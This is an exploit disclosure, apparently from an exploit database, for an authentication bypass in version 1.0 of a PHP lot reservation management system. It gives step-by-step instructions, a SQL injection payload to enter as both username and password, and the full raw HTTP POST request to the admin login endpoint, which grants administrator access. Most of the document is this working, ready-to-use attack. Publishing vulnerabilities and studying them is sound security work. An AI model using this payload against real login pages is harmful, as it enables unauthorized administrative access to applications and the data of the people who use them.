#Exploit Title: lot reservation management system 1.0 - Authentication Bypass #Date: 2020-10-22 #Exploit Author: Ankita Pal #Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip #Version: V1.0 #Tested on: Windows 10 + xampp v3.2.4 Proof of Concept::: Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password. Malicious Request::: POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 71 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/lot-reservation-management-system/admin/login.php Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id username='+or+1%3D1+limit+1+--+-%2B&password='+or+1%3D1+limit+1+--+-%2B You will be login as admin of the application.